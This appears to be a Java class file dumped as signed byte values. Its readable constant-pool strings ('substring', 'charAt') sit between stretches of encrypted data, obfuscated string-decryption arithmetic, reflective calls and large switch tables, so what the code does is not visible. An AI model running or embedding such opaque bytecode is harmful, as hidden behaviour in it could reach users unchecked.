-97, -62, -107, -61, -94, -62, -89, -61, -122, 103, 5, 8, -61, -116, -62, -70, 113, -64, -128, 114, 22, -61, -82, 19, -62, -113, -61, -105, 110, -62, -84, 114, 114, -62, -126, 59, -62, -81, 83, -61, -82, -61, -113, -61, -102, -61, -120, -61, -127, -62, -80, -61, -118, -62, -106, -61, -86, -61, -89, 112, -61, -113, 64, -62, -103, -62, -107, -61, -108, -61, -82, 105, 17, 65, -62, -116, -62, -86, 48, -62, -124, 4, -62, -128, -61, -104, -62, -108, -62, -73, -61, -72, -61, -99, 40, -61, -100, 120, -61, -126, -61, -100, 31, -61, -102, 4, -62, -119, -62, -75, -61, -104, 62, 21, -61, -111, -61, -98, -61, -92, -61, -114, -62, -94, -61, -99, 23, 20, 86, 34, 21, -61, -83, 30, -61, -111, -61, -117, 110, -61, -121, -61, -99, -61, -110, -62, -105, 80, 24, 75, -61, -79, 36, 17, 59, -62, -83, 72, 55, 87, -62, -68, -61, -78, -61, -68, -62, -89, 122, -61, -113, 83, 37, 34, -61, -106, -62, -99, 78, -61, -121, -61, -113, 12, -62, -96, 123, 104, -62, -116, 102, -62, -98, 103, 119, 33, 75, -61, -81, -62, -119, 102, 107, -61, -66, 74, -62, -72, -62, -82, 107, 3, -62, -111, 6, 10, 126, 27, 67, -61, -74, 127, -61, -93, 23, -61, -79, 19, -62, -94, 100, -62, -116, 51, 105, -62, -106, -62, -111, 39, -61, -88, 75, 127, 99, -61, -94, 34, -62, -67, -62, -83, -62, -123, -62, -66, 70, -62, -95, -61, -117, -61, -107, 21, -62, -123, 42, 84, 35, -61, -111, 32, 97, 109, 58, -62, -100, -62, -110, -62, -113, -61, -102, 108, 99, -62, -118, 102, 114, 24, -62, -118, -61, -110, 38, 28, 109, -62, -69, -62, -102, -61, -98, 27, -61, -96, -62, -67, 101, -62, -70, -61, -75, 75, -61, -90, 46, 85, 16, 121, 101, -62, -125, 77, -61, -72, 32, -62, -72, 107, 120, -61, -110, 44, -62, -68, -62, -125, -62, -83, -62, -76, -62, -118, -62, -90, -62, -66, -62, -122, 63, 123, 103, 122, -62, -95, -62, -99, 83, -61, -85, -61, -102, -61, -118, 78, -62, -119, 15, 97, 63, -62, -72, 67, -62, -92, -61, -72, 50, 22, -61, -100, -61, -104, -61, -123, -61, -79, -62, -76, -62, -86, 35, -61, -88, -61, -73, 69, 63, 4, -62, -90, -62, -112, 72, -61, -72, 46, 81, -62, -112, 42, -61, -78, -61, -73, 13, 48, -62, -68, -62, -65, 75, -61, -77, -62, -106, -61, -108, -62, -114, 96, -61, -100, 57, 62, -62, -111, -61, -71, -61, -65, 53, 1, 88, 45, -61, -82, -62, -126, 9, -61, -115, 85, 4, -62, -87, 68, -62, -112, 108, 52, 40, 20, 3, 89, 45, -62, -127, 26, -61, -98, -61, -117, -61, -85, -61, -104, -62, -112, -62, -116, 103, -61, -98, 77, 53, 75, -62, -121, -61, -72, 8, 94, -61, -69, 75, 41, 1, -62, -122, 95, 36, 31, 111, -62, -117, -62, -97, -62, -89, 102, 23, -61, -110, -61, -88, 94, 1, -62, -94, 113, -62, -117, 34, -62, -91, -62, -85, -61, -86, 100, -61, -122, 104, -62, -122, -62, -116, -61, -77, 121, 12, -62, -65, -61, -96, 19, 69, -62, -111, 60, 66, 50, -62, -116, -62, -113, 32, 64, 93, -62, -98, -62, -70, -62, -86, -61, -74, -61, -108, -62, -84, 109, -61, -107, -61, -93, -61, -117, -62, -105, -62, -100, 52, -61, -72, -62, -83, -62, -84, 36, 76, -62, -124, -61, -66, -61, -69, -61, -76, 45, -64, -128, -62, -101, -61, -91, 114, -61, -108, 109, -61, -119, -61, -119, 78, 117, -61, -111, -62, -94, 12, -62, -108, -61, -72, -61, -122, -62, -108, -62, -86, 114, 61, -62, -90, -62, -68, 46, -61, -65, -62, -85, -61, -99, -62, -116, -61, -104, 78, -62, -84, 49, 3, -62, -81, 83, 42, 90, 39, 109, -62, -70, 64, 42, -62, -77, 57, -62, -91, 104, 120, -61, -80, -61, -115, 37, -62, -106, 65, 69, 34, -62, -126, -62, -121, 59, -61, -95, -62, -67, 78, 56, -61, -115, -61, -108, 11, -62, -85, 29, 75, 109, -61, -99, 8, -62, -87, -61, -105, -62, -83, -62, -115, 18, 21, -61, -121, 82, 101, 45, -61, -78, 19, -61, -104, -61, -92, -62, -127, 116, 127, 19, 74, 5, -62, -91, -62, -67, 63, -61, -77, 46, -61, -95, 26, 126, 119, 35, -61, -115, 11, -62, -112, 104, -62, -75, 66, 72, -61, -119, -62, -87, 110, -62, -70, 118, -62, -122, 16, 30, -62, -122, -62, -69, 19, -61, -101, -61, -70, -62, -92, 31, -61, -121, -62, -96, -62, -76, -62, -92, 79, -61, -68, 48, -62, -89, 22, -61, -107, 71, -61, -96, -61, -78, -61, -88, 124, -61, -82, 90, 43, 47, 32, -62, -122, -62, -120, -62, -97, 58, -62, -126, -62, -71, 16, -62, -85, -61, -119, -61, -110, 81, 28, -62, -96, -62, -87, 84, 82, 58, -61, -77, 21, -62, -101, -61, -91, 127, 40, -61, -79, 48, 84, 51, -62, -102, -61, -121, 106, 127, 2, 60, 4, 114, -61, -111, 53, -62, -84, -61, -105, 111, 21, -62, -124, 33, 6, -61, -128, -61, -104, 104, -62, -118, -62, -106, -61, -116, 111, 95, 21, -61, -111, -61, -117, -62, -73, 59, -62, -102, 126, -62, -81, -61, -83, 8, 28, -61, -92, -62, -125, -61, -80, 105, -61, -90, 30, -62, -65, 16, -61, -93, -62, -96, -61, -114, 71, 95, -61, -128, 109, 57, -61, -115, 36, 60, -61, -105, 93, 61, 49, 105, -62, -75, -62, -83, 100, -62, -102, 12, -61, -69, -61, -77, -61, -99, 55, -61, -86, -62, -95, -62, -73, 122, 95, -61, -101, -61, -117, -62, -103, 8, -61, -78, -61, -128, 17, -61, -66, 56, -61, -84, -61, -118, 61, 1, 0, 50, 106, -62, -97, -61, -73, 10, -62, -92, -61, -116, 27, 68, 1, -62, -120, 102, -62, -77, 117, 36, 75, -61, -125, 101, -61, -84, -62, -78, -62, -88, 60, 32, -62, -105, -62, -91, -61, -117, 51, 54, -62, -75, -62, -126, 67, 1, 19, -62, -74, 19, 12, 1, 105, 0, -120, 1, 0, 6, 108, 101, 110, 103, 116, 104, 10, 0, 1, 1, 104, 12, 1, 108, 1, 109, 1, 0, 9, 115, 117, 98, 115, 116, 114, 105, 110, 103, 1, 0, 22, 40, 73, 73, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 10, 0, 1, 1, 107, 12, 1, 112, 1, 113, 1, 0, 6, 99, 104, 97, 114, 65, 116, 1, 0, 4, 40, 73, 41, 67, 10, 0, 1, 1, 111, 0, 33, 0, 27, 0, 29, 0, 0, 0, 5, 0, 10, 0, 33, 0, -34, 0, 0, 0, 9, 0, 30, 1, 62, 0, 0, 0, 9, 0, 84, 1, 62, 0, 0, 0, 26, 0, 50, 1, 83, 0, 0, 0, 26, 1, 84, 1, 83, 0, 0, 0, 20, 0, 1, 0, 30, 0, 31, 0, 1, 0, 32, 0, 0, 0, 36, 0, 4, 0, 3, 0, 0, 0, 24, 20, 1, 63, 64, 18, 18, 17, -109, -26, -110, 116, 100, 18, 18, 17, -94, -40, 100, 31, -120, -72, 1, 101, -80, 0, 0, 0, 0, 0, 1, 0, 33, 0, 31, 0, 1, 0, 32, 0, 0, 0, 43, 0, 6, 0, 3, 0, 0, 0, 31, 20, 1, 65, 64, -69, 0, 1, 89, 18, 11, 17, 103, 30, 100, 18, 12, 17, -128, 30, -110, 116, 100, 31, -120, -72, 1, 101, -73, 0, 38, -80, 0, 0, 0, 0, 0, 1, 0, 35, 0, 39, 0, 1, 0, 32, 0, 0, 0, -92, 0, 7, 0, 10, 0, 0, 0, 112, 20, 1, 67, 64, 31, 92, 20, 1, 69, -125, 92, 16, 32, 125, -120, 62, 92, 16, 32, 121, 16, 40, 125, -120, 54, 4, 92, 16, 56, 121, 16, 56, 125, -120, 54, 5, 88, 88, 42, -73, 0, 49, 42, -74, 0, 53, 58, 6, 25, 6, -71, 0, 57, 1, 0, 58, 7, 25, 7, -71, 0, 61, 1, 0, -103, 0, 37, 25, 7, -71, 0, 65, 1, 0, 58, 8, 42, 29, 21, 4, 21, 5, -111, 25, 8, -73, 0, 68, 58, 9, 42, 25, 8, 25, 9, -74, 0, 71, -89, -1, -41, -89, 0, 10, 58, 6, 25, 6, -72, 0, 74, -79, 0, 1, 0, 42, 0, 101, 0, 104, 0, 41, 0, 1, 0, 47, 0, 0, 0, 26, 0, 4, -1, 0, 16, 0, 3, 7, 0, 27, 7, 0, 44, 7, 0, 46, 0, 0, -7, 0, 32, 66, 7, 0, 41, 4, 0, 1, 0, 50, 0, 51, 0, 2, 0, 32, 0, 0, 1, -52, 0, 5, 0, 16, 0, 0, 1, 89, 20, 1, 71, 64, -69, 0, 82, 89, -73, 0, 83, 78, 42, -74, 0, 87, 58, 4, 1, 58, 5, 25, 4, 58, 6, 25, 6, -66, 54, 7, 3, 54, 8, 21, 8, 21, 7, -94, 1, 40, 25, 6, 21, 8, 50, 58, 9, 25, 9, -74, 0, 90, 18, 21, 17, -107, 94, -110, 96, 18, 21, 17, -74, -30, -110, 96, 31, -120, -72, 1, 101, -74, 0, 94, -103, 0, -3, 25, 5, -57, 0, -8, -89, 0, 4, -65, 25, 9, 18, 21, 17, -107, 86, -110, 96, 18, 21, 17, -104, 35, -110, 96, 31, -120, -72, 1, 101, -72, 0, 97, 18, 21, 17, -107, 67, -110, 96, 18, 22, 17, -70, 124, -110, 116, 96, 31, -120, -72, 1, 101, -72, 0, 97, 18, 21, 17, -107, 64, -110, 96, 18, 21, 17, -103, 10, -110, 96, 31, -120, -72, 1, 101, -72, 0, 97, -64, 0, 80, 58, 10, 25, 10, -74, 0, 101, -71, 0, 104, 1, 0, 58, 11, 25, 11, -71, 0, 61, 1, 0, -103, 0, -108, 25, 11, -71, 0, 65, 1, 0, 58, 12, 25, 10, 25, 12, -74, 0, 107, 18, 21, 17, -107, 80, -110, 96, 18, 21, 17, -122, 121, -110, 96, 31, -120, -72, 1, 101, -72, 0, 97, -64, 0, 80, 58, 13, 25, 13, -74, 0, 101, -71, 0, 104, 1, 0, 58, 14, 25, 14, -71, 0, 61, 1, 0, -103, 0, 80, 25, 14, -71, 0, 65, 1, 0, 58, 15, 25, 13, 25, 15, -74, 0, 107, 58, 5, 25, 5, -58, 0, 54, 25, 5, -74, 0, 111, -74, 0, 114, 18, 21, 17, -107, 95, -110, 96, 18, 22, 17, -101, 69, -110, 116, 96, 31, -120, -72, 1, 101, -74, 0, 94, -103, 0, 20, -89, 0, 4, -65, 45, 25, 5, -71, 0, 118, 2, 0, 87, -89, 0, 4, -65, -89, -1, -84, -89, -1, 104, -124, 8, 1, -89, -2, -41, -89, 0, 10, 58, 6, 25, 6, -72, 0, 74, 45, -80, 0, 4, 1, 14, 1, 61, 1, 64, 0, 41, 1, 9, 1, 48, 1, 51, 0, 41, 0, 47, 0, 82, 0, 85, 0, 41, 0, 21, 1, 77, 1, 80, 0, 41, 0, 1, 0, 47, 0, 0, 0, 65, 0, 9, -1, 0, 26, 0, 7, 7, 0, 27, 7, 0, 44, 7, 0, 76, 7, 0, 2, 7, 0, 76, 1, 1, 0, 0, -2, 0, 64, 7, 0, 3, 7, 0, 80, 7, 0, 46, -2, 0, 47, 7, 0, 2, 7, 0, 80, 7, 0, 46, 53, -8, 0, 2, -8, 0, 2, -8, 0, 5, 66, 7, 0, 41, 6, 0, 119, 0, 0, 0, 2, 0, 120, 0, 1, 0, 84, 0, 85, 0, 1, 0, 32, 0, 0, 0, 112, 0, 5, 0, 6, 0, 0, 0, 67, 20, 1, 73, 64, 1, 78, 18, 3, 18, 14, 17, -70, -91, 96, 18, 15, 17, -104, -3, -110, 96, 31, -120, -72, 1, 101, -72, 0, 124, -64, 0, 76, -64, 0, 76, 78, -89, 0, 29, 58, 4, -72, 0, -128, -74, 0, -124, 58, 5, 25, 5, -74, 0, -118, -67, 0, 3, 78, 25, 5, 45, -74, 0, -114, 87, 45, -80, 0, 1, 0, 6, 0, 36, 0, 39, 0, 122, 0, 1, 0, 47, 0, 0, 0, 19, 0, 2, -1, 0, 19, 0, 2, 7, 0, 27, 7, 0, 76, 0, 1, 7, 0, 122, 21, 0, 2, 0, 33, 0, 66, 0, 1, 0, 32, 0, 0, 1, 42, 0, 7, 0, 16, 0, 0, 0, -35, 27, -123, 16, 32, 121, 28, -123, 16, 40, 121, 16, 32, 125, -127, 29, -123, 16, 56, 121, 16, 56, 125, -127, 55, 5, 22, 5, 92, 20, 1, 75, -125, 92, 16, 16, 125, 55, 7, 92, 16, 48, 121, 16, 48, 125, -120, 54, 9, 88, 88, 1, 58, 10, -72, 0, -128, -74, 0, -105, 58, 11, 25, 11, -57, 0, 13, 25, 4, -74, 0, 111, -74, 0, -102, 58, 11, 25, 11, 42, -74, 0, -100, -74, 0, -96, -74, 0, -93, 58, 10, -89, 0, -128, 58, 12, 42, -74, 0, -91, 22, 7, 21, 9, -109, -72, 0, -88, -72, 0, -85, 58, 13, 18, 4, 18, 13, 17, -102, 109, 96, 18, 13, 17, -81, 53, 96, 22, 5, -120, -72, 1, 101, 6, -67, 0, 113, 89, 3, 18, 5, 83, 89, 4, -78, 0, -80, 83, 89, 5, -78, 0, -80, 83, -74, 0, -76, 58, 14, 25, 14, 4, -74, 0, -70, 25, 14, 25, 11, 6, -67, 0, 2, 89, 3, 25, 13, 83, 89, 4, 3, -72, 0, -66, 83, 89, 5, 25, 13, -66, -72, 0, -66, 83, -74, 0, -62, -64, 0, 113, 58, 15, 25, 15, -74, 0, -93, 58, 10, -89, 0, 10, 58, 13, 25, 13, -72, 0, 74, 25, 10, -80, 0, 2, 0, 76, 0, 90, 0, 93, 0, 41, 0, 95, 0, -48, 0, -45, 0, -112, 0, 1, 0, 47, 0, 0, 0, 43, 0, 4, -3, 0, 21, 7, 0, 2, 7, 0, 4, 78, 7, 0, 41, -1, 0, 94, 0, 5, 7, 0, 27, 7, 0, 2, 7, 0, 2, 7, 0, 4, 7, 0, 41, 0, 1, 7, 0, -112, -6, 0, 6, 0, 1, 0, 33, 0, 69, 0, 1, 0, 32, 0, 0, 0, -1, 0, 7, 0, 9, 0, 0, 0, -75, 20, 1, 77, 66, 42, 43, 44, -74, 0, 111, -74, 0, 114, -74, 0, -56, -103, 0, 5, -79, -65, 43, 18, 16, 17, -3, 64, 100, 18, 17, 17, 9, 64, 96, 33, -120, -72, 1, 101, 4, -67, 0, 113, 89, 3, 18, 2, 83, 4, -67, 0, 2, 89, 3, 44, 83, -72, 0, -53, 87, -89, 0, 112, 58, 5, 43, 18, 16, 17, -3, 80, 100, 18, 16, 17, -70, -77, 96, 33, -120, -72, 1, 101, -72, 0, 124, -64, 0, 6, -64, 0, 6, 58, 6, 25, 6, -72, 0, -47, 58, 7, -69, 0, 82, 89, 25, 7, -73, 0, -44, 58, 8, 25, 8, 44, -74, 0, -43, 87, 43, 18, 16, 17, -3, 70, 100, 18, 16, 17, -43, -59, 96, 33, -120, -72, 1, 101, 4, -67, 0, 113, 89, 3, 18, 6, 83, 4, -67, 0, 2, 89, 3, 25, 8, -74, 0, -39, 83, -72, 0, -53, 87, -89, 0, 10, 58, 6, 25, 6, -72, 0, 74, 42, 44, -74, 0, 111, -74, 0, -36, -79, 0, 3, 0, 4, 0, 20, 0, 20, 0, 41, 0, 21, 0, 60, 0, 63, 0, 41, 0, 65, 0, -94, 0, -91, 0, 41, 0, 1, 0, 47, 0, 0, 0, 32, 0, 4, 16, 90, 7, 0, 41, -1, 0, 71, 0, 4, 7, 0, 27, 7, 0, 2, 7, 0, 2, 7, 0, 41, 0, 1, 7, 0, 41, -6, 0, 6, 0, 9, 0, 33, 0, -35, 0, 1, 0, 32, 0, 0, 0, 14, 0, 1, 0, 3, 0, 0, 0, 2, 1, -80, 0, 0, 0, 0, 0, 0, 0, 33, 0, -38, 0, 1, 0, 32, 0, 0, 0, 13, 0, 0, 0, 2, 0, 0, 0, 1, -79, 0, 0, 0, 0, 0, 1, 0, 50, 0, -58, 0, 1, 0, 32, 0, 0, 0, -91, 0, 5, 0, 9, 0, 0, 0, 99, 20, 1, 79, 66, 43, 18, 19, 17, 20, 118, 100, 18, 20, 17, -104, -102, 100, 33, -120, -72, 1, 101, -72, 0, 124, -64, 0, 6, -64, 0, 6, 58, 5, 25, 5, -72, 0, -47, 58, 6, -69, 0, 82, 89, 25, 6, -73, 0, -44, 58, 7, 3, 54, 8, 21, 8, 25, 7, -74, 0, -31, -94, 0, 36, 25, 7, 21, 8, -74, 0, -28, -74, 0, 111, -74, 0, 114, 44, -74, 0, 94, -103, 0, 10, -89, 0, 4, -65, 4, -84, -65, -124, 8, 1, -89, -1, -40, 3, -84, 0, 2, 0, 54, 0, 84, 0, 87, 1, 37, 0, 64, 0, 90, 0, 90, 1, 37, 0, 1, 0, 47, 0, 0, 0, 32, 0, 3, -1, 0, 33, 0, 7, 7, 0, 27, 7, 0, 2, 7, 0, 1, 7, 0, 6, 7, 0, 44, 7, 0, 82, 1, 0, 0, 31, -6, 0, 5, 0, 8, 0, 33, 0, -90, 0, 1, 0, 32, 0, 0, 1, 1, 0, 6, 0, 9, 0, 0, 0, -31, 31, 16, 16, 121, 29, -123, 16, 48, 121, 16, 48, 125, -127, 55, 4, 18, 23, 17, -84, 49, -110, 116, 96, 18, 24, 17, -40, -70, -110, 96, 22, 4, -120, -72, 1, 101, -72, 0, -25, 58, 6, 25, 6, 18, 23, 17, -84, 53, -110, 116, 96, 18, 24, 17, -13, -46, -110, 96, 22, 4, -120, -72, 1, 101, 4, -67, 0, 113, 89, 3, 18, 1, 83, -74, 0, -22, 25, 6, -74, 0, -93, 4, -67, 0, 2, 89, 3, 42, 83, -74, 0, -62, -64, 0, 5, -64, 0, 5, -80, 58, 7, 18, 23, 17, -84, 48, -110, 116, 96, 18, 25, 17, -8, 2, -110, 100, 22, 4, -120, -72, 1, 101, -72, 0, -25, 58, 6, 25, 6, 18, 23, 17, -84, 43, -110, 116, 96, 18, 24, 17, -26, -19, -110, 96, 22, 4, -120, -72, 1, 101, 3, -67, 0, 113, -74, 0, -22, 1, 3, -67, 0, 2, -74, 0, -62, 58, 8, 25, 8, -74, 0, 111, 18, 23, 17, -84, 42, -110, 116, 96, 18, 24, 17, -89, -36, -110, 96, 22, 4, -120, -72, 1, 101, 4, -67, 0, 113, 89, 3, 18, 1, 83, -74, 0, -22, 25, 8, 4, -67, 0, 2, 89, 3, 42, 83, -74, 0, -62, -64, 0, 5, -64, 0, 5, -80, 0, 1, 0, 15, 0, 98, 0, 99, 0, 41, 0, 1, 0, 47, 0, 0, 0, 6, 0, 1, 109, 7, 0, 41, 0, 9, 0, 33, 0, -87, 0, 1, 0, 32, 0, 0, 0, 117, 0, 4, 0, 6, 0, 0, 0, 63, -69, 0, -20, 89, -73, 0, -15, 76, -69, 0, -18, 89, 42, -73, 0, -12, 77, -69, 0, -16, 89, 44, -73, 0, -9, 78, 17, 1, 0, -68, 8, 58, 4, 45, 25, 4, -74, 0, -5, 89, 54, 5, -101, 0, 16, 43, 25, 4, 3, 21, 5, -74, 0, -1, -89, -1, -21, -65, 43, -74, 1, 3, -80, 0, 1, 0, 42, 0, 57, 0, 57, 1, 37, 0, 1, 0, 47, 0, 0, 0, 28, 0, 2, -1, 0, 33, 0, 5, 7, 0, 5, 7, 0, -20, 7, 0, -18, 7, 0, -16, 7, 0, 5, 0, 0, -4, 0, 23, 1, 0, 8, 0, 84, 0, 95, 0, 1, 0, 32, 0, 0, 0, 29, 0, 2, 0, 3, 0, 0, 0, 17, 42, 43, -72, 1, 6, 77, 44, 4, -74, 1, 9, 44, 42, -74, 1, 10, -80, 0, 0, 0, 0, 0, 8, 0, 33, 1, 4, 0, 1, 0, 32, 0, 0, 0, 79, 0, 3, 0, 4, 0, 0, 0, 40, 42, -74, 0, 111, 77, 44, -58, 0, 25, 44, 43, -74, 1, 16, 78, 45, 4, -74, 1, 9, 45, -80, 78, 44, -74, 1, 19, 77, -89, -1, -23, -69, 1, 12, 89, 43, -73, 1, 20, -65, 0, 1, 0, 9, 0, 21, 0, 22, 1, 12, 0, 1, 0, 47, 0, 0, 0, 13, 0, 3, -4, 0, 5, 7, 0, 113, 80, 7, 1, 12, 8, 0, 40, 0, 30, 0, 95, 0, 1, 0, 32, 0, 0, 0, 26, 0, 4, 0, 2, 0, 0, 0, 14, 42, 43, 3, -67, 0, 113, 3, -67, 0, 2, -72, 0, -53, -80, 0, 0, 0, 0, 0, 41, 0, 33, 0, -55, 0, 1, 0, 32, 0, 0, 1, 98, 0, 3, 0, 9, 0, 0, 0, -39, 42, -63, 0, 113, -103, 0, 11, 42, -64, 0, 113, -89, 0, 8, -65, 42, -74, 0, 111, 58, 4, 1, 58, 5, 25, 4, 58, 6, 25, 5, -57, 0, 112, 25, 6, -58, 0, 107, -89, 0, 4, -65, 44, -57, 0, 75, 25, 6, -74, 1, 26, 58, 7, 3, 54, 8, 21, 8, 25, 7, -66, -94, 0, 54, 25, 7, 21, 8, 50, -74, 1, 27, 43, -74, 1, 30, -103, 0, 33, -89, 0, 4, -65, 25, 7, 21, 8, 50, -74, 1, 34, -66, -102, 0, 17, -89, 0, 4, -65, 25, 7, 21, 8, 50, 58, 5, -89, 0, 9, -124, 8, 1, -89, -1, -56, -89, 0, 12, 25, 6, 43, 44, -74, 0, -76, 58, 5, -89, -1, -99, 58, 7, 25, 6, -74, 1, 19, 58, 6, -89, -1, -111, 25, 5, -57, 0, 13, -69, 0, 122, 89, 43, -73, 1, 35, -65, -65, 25, 5, 4, -74, 0, -70, 42, -63, 0, 113, -103, 0, 27, 25, 5, 1, 45, -74, 0, -62, -80, -65, 58, 7, -69, 1, 37, 89, 25, 7, -74, 1, 40, -73, 1, 41, -65, 25, 5, 42, 45, -74, 0, -62, -80, 58, 7, -69, 1, 37, 89, 25, 7, -74, 1, 40, -73, 1, 41, -65, 0, 9, 0, 64, 0, 95, 0, 98, 0, 122, 0, 56, 0, 79, 0, 82, 0, 122, 0, 28, 0, 38, 0, 41, 0, 122, 0, 0, 0, 14, 0, 14, 0, 122, 0, 42, 0, 127, 0, -126, 0, 122, 0, -114, 0, -100, 0, -100, 0, 122, 0, -86, 0, -79, 0, -77, 0, -60, 0, -99, 0, -78, 0, -78, 0, 122, 0, -62, 0, -55, 0, -54, 0, -60, 0, 1, 0, 47, 0, 0, 0, 47, 0, 14, 14, 67, 7, 0, 113, -2, 0, 8, 7, 0, 113, 7, 0, -74, 7, 0, 113, -3, 0, 23, 7, 1, 22, 1, 44, -7, 0, 5, 2, 8, 66, 7, 0, 122, 11, 13, 84, 7, 0, -60, 14, 71, 7, 0, -60, 0, 9, 0, 33, 0, 72, 0, 1, 0, 32, 0, 0, 0, 42, 0, 3, 0, 3, 0, 0, 0, 30, -69, 1, 43, 89, -73, 1, 44, 76, -69, 1, 46, 89, 43, -73, 1, 49, 77, 42, 44, -74, 1, 53, 43, -74, 1, 56, -77, 1, 58, -79, 0, 0, 0, 0, 0, 1, 1, 54, 0, 31, 0, 1, 0, 32, 0, 0, 0, 16, 0, 1, 0, 1, 0, 0, 0, 4, -78, 1, 58, -80, 0, 0, 0, 0, 0, 8, 1, 59, 0, 39, 0, 1, 0, 32, 0, 0, 1, 63, 0, 7, 0, 10, 0, 0, 1, 51, 20, 1, 81, 55, 8, 16, 20, -67, 0, 1, 58, 5, 3, 62, 18, 8, 89, 77, -74, 1, 106, 54, 4, 5, 60, 2, 59, -124, 0, 1, 44, 26, 89, 27, 96, -74, 1, 110, -88, 0, 103, 25, 5, 95, 29, -124, 3, 1, 95, 83, 26, 27, 96, 89, 59, 21, 4, -94, 0, 12, 44, 26, -74, 1, 114, 60, -89, -1, -39, 18, 9, 89, 77, -74, 1, 106, 54, 4, 16, 6, 60, 2, 59, -124, 0, 1, 44, 26, 89, 27, 96, -74, 1, 110, -88, 0, 47, 25, 5, 95, 29, -124, 3, 1, 95, 83, 26, 27, 96, 89, 59, 21, 4, -94, 0, 12, 44, 26, -74, 1, 114, 60, -89, -1, -39, 25, 5, -77, 1, 86, 16, 20, -67, 0, 1, -77, 1, 98, -89, 0, -117, 58, 6, -74, 1, 93, 89, -66, 95, 3, 54, 7, 95, 90, 4, -93, 0, 100, 89, 21, 7, 92, 52, 21, 7, 16, 7, 112, -86, 0, 0, 0, 0, 0, 0, 69, 0, 0, 0, 0, 0, 0, 0, 5, 0, 0, 0, 40, 0, 0, 0, 45, 0, 0, 0, 49, 0, 0, 0, 54, 0, 0, 0, 59, 0, 0, 0, 64, 16, 91, -89, 0, 29, 7, -89, 0, 25, 16, 66, -89, 0, 20, 16, 111, -89, 0, 15, 16, 114, -89, 0, 10, 16, 77, -89, 0, 5, 16, 14, -126, -110, 85, -124, 7, 1, 95, 90, -102, 0, 8, 92, 95, -89, -1, -91, 95, 90, 21, 7, -93, -1, -101, -69, 0, 1, 90, 95, -73, 1, 96, -74, 1, 89, 95, 87, -87, 6, 18, 10, 17, 78, 88, 96, 18, 10, 17, 60, 22, 96, 22, 8, -120, -72, 1, 101, -77, 1, 58, -69, 0, 27, 89, -73, 1, 60, 87, -79, 0, 0, 0, 0, 0, 10, 0, 33, 1, 99, 0, 1, 0, 32, 0, 0, 10, 85, 0, 5, 0, 10, 0, 0, 10, 73, 26, 28, -126, 17, -43, -76, -126, 18, 7, 126, 62, -78, 1, 98, 29, 50, -57, 10, 51, -78, 1, 86, 29, 50, -74, 1, 93, 58, 4, 25, 4, 3, 52, 17, 0, -1, 126, -86, 0, 0, 0, 0, 9, -128, 0, 0, 0, 0, 0, 0, 0, -2, 0, 0, 4, 11, 0, 0, 4, 16, 0, 0, 4, 21, 0, 0, 4, 27, 0, 0, 4, 33, 0, 0, 4, 39, 0, 0, 4, 44, 0, 0, 4, 49, 0, 0, 4, 54, 0, 0, 4, 59, 0, 0, 4, 63, 0, 0, 4, 68, 0, 0, 4, 73, 0, 0, 4, 79, 0, 0, 4, 84, 0, 0, 4, 89, 0, 0, 4, 94, 0, 0, 4, 100, 0, 0, 4, 106, 0, 0, 4, 111, 0, 0, 4, 117, 0, 0, 4, 122, 0, 0, 4, -128, 0, 0, 4, -123, 0, 0, 4, -118, 0, 0, 4, -112, 0, 0, 4, -107, 0, 0, 4, -101, 0, 0, 4, -95, 0, 0, 4, -89, 0, 0, 4, -83, 0, 0, 4, -78, 0, 0, 4, -72, 0, 0, 4, -66, 0, 0, 4, -60, 0, 0, 4, -55, 0, 0, 4, -50, 0, 0, 4, -44, 0, 0, 4, -39, 0, 0, 4, -34, 0, 0, 4, -29, 0, 0, 4, -23, 0, 0, 4, -18, 0, 0, 4, -12, 0, 0, 4, -6, 0, 0, 4, -1, 0, 0, 5, 5, 0, 0, 5, 10, 0, 0, 5, 16, 0, 0, 5, 21, 0, 0, 5, 26, 0, 0, 5, 30, 0, 0, 5, 35, 0, 0, 5, 40, 0, 0, 5, 46, 0, 0, 5, 51, 0, 0, 5, 56, 0, 0, 5, 61, 0, 0, 5, 67, 0, 0, 5, 73, 0, 0, 5, 79, 0, 0, 5, 85, 0, 0, 5, 90, 0, 0, 5, 95, 0, 0, 5, 100, 0, 0, 5, 106, 0, 0, 5, 112, 0, 0, 5, 118, 0, 0, 5, 123, 0, 0, 5, -127, 0, 0, 5, -122, 0, 0, 5, -117, 0, 0, 5, -111, 0, 0, 5, -105, 0, 0, 5, -100, 0, 0, 5, -94, 0, 0, 5, -89, 0, 0, 5, -83, 0, 0, 5, -77, 0, 0, 5, -72, 0, 0, 5, -66, 0, 0, 5, -61, 0, 0, 5, -56, 0, 0, 5, -50, 0, 0, 5, -45, 0, 0, 5, -39, 0, 0, 5, -34, 0, 0, 5, -28, 0, 0, 5, -23, 0, 0, 5, -17, 0, 0, 5, -12, 0, 0, 5, -7, 0, 0, 5, -1, 0, 0, 6, 5, 0, 0, 6, 11, 0, 0, 6, 16, 0, 0, 6, 22, 0, 0, 6, 27, 0, 0, 6, 32, 0, 0, 6, 38, 0, 0, 6, 44, 0, 0, 6, 49, 0, 0, 6, 55, 0, 0, 6, 60, 0, 0, 6, 65, 0, 0, 6, 70, 0, 0, 6, 75, 0, 0, 6, 81, 0, 0, 6, 87, 0, 0, 6, 93, 0, 0, 6, 98, 0, 0, 6, 104, 0, 0, 6, 109, 0, 0, 6, 114, 0, 0, 6, 120, 0, 0, 6, 126, 0, 0, 6, -125, 0, 0, 6, -120, 0, 0, 6, -115, 0, 0, 6, -110, 0, 0, 6, -104, 0, 0, 6, -99, 0, 0, 6, -94, 0, 0, 6, -88, 0, 0, 6, -83, 0, 0, 6, -77, 0, 0, 6, -71, 0, 0, 6, -65, 0, 0, 6, -60, 0, 0, 6, -54, 0, 0, 6, -48, 0, 0, 6, -42, 0, 0, 6, -37, 0, 0, 6, -31, 0, 0, 6, -27, 0, 0, 6, -22, 0, 0, 6, -16, 0, 0, 6, -10, 0, 0, 6, -5, 0, 0, 7, 1, 0, 0, 7, 6, 0, 0, 7, 12, 0, 0, 7, 18, 0, 0, 7, 24, 0, 0, 7, 30, 0, 0, 7, 34, 0, 0, 7, 39, 0, 0, 7, 44, 0, 0, 7, 50, 0, 0, 7, 56, 0, 0, 7, 62, 0, 0, 7, 67, 0, 0, 7, 72, 0, 0, 7, 77, 0, 0, 7, 83, 0, 0, 7, 89, 0, 0, 7, 94, 0, 0, 7, 100, 0, 0, 7, 105, 0, 0, 7, 110, 0, 0, 7, 116, 0, 0, 7, 122, 0, 0, 7, -128, 0, 0, 7, -123, 0, 0, 7, -117, 0, 0, 7, -111, 0, 0, 7, -105, 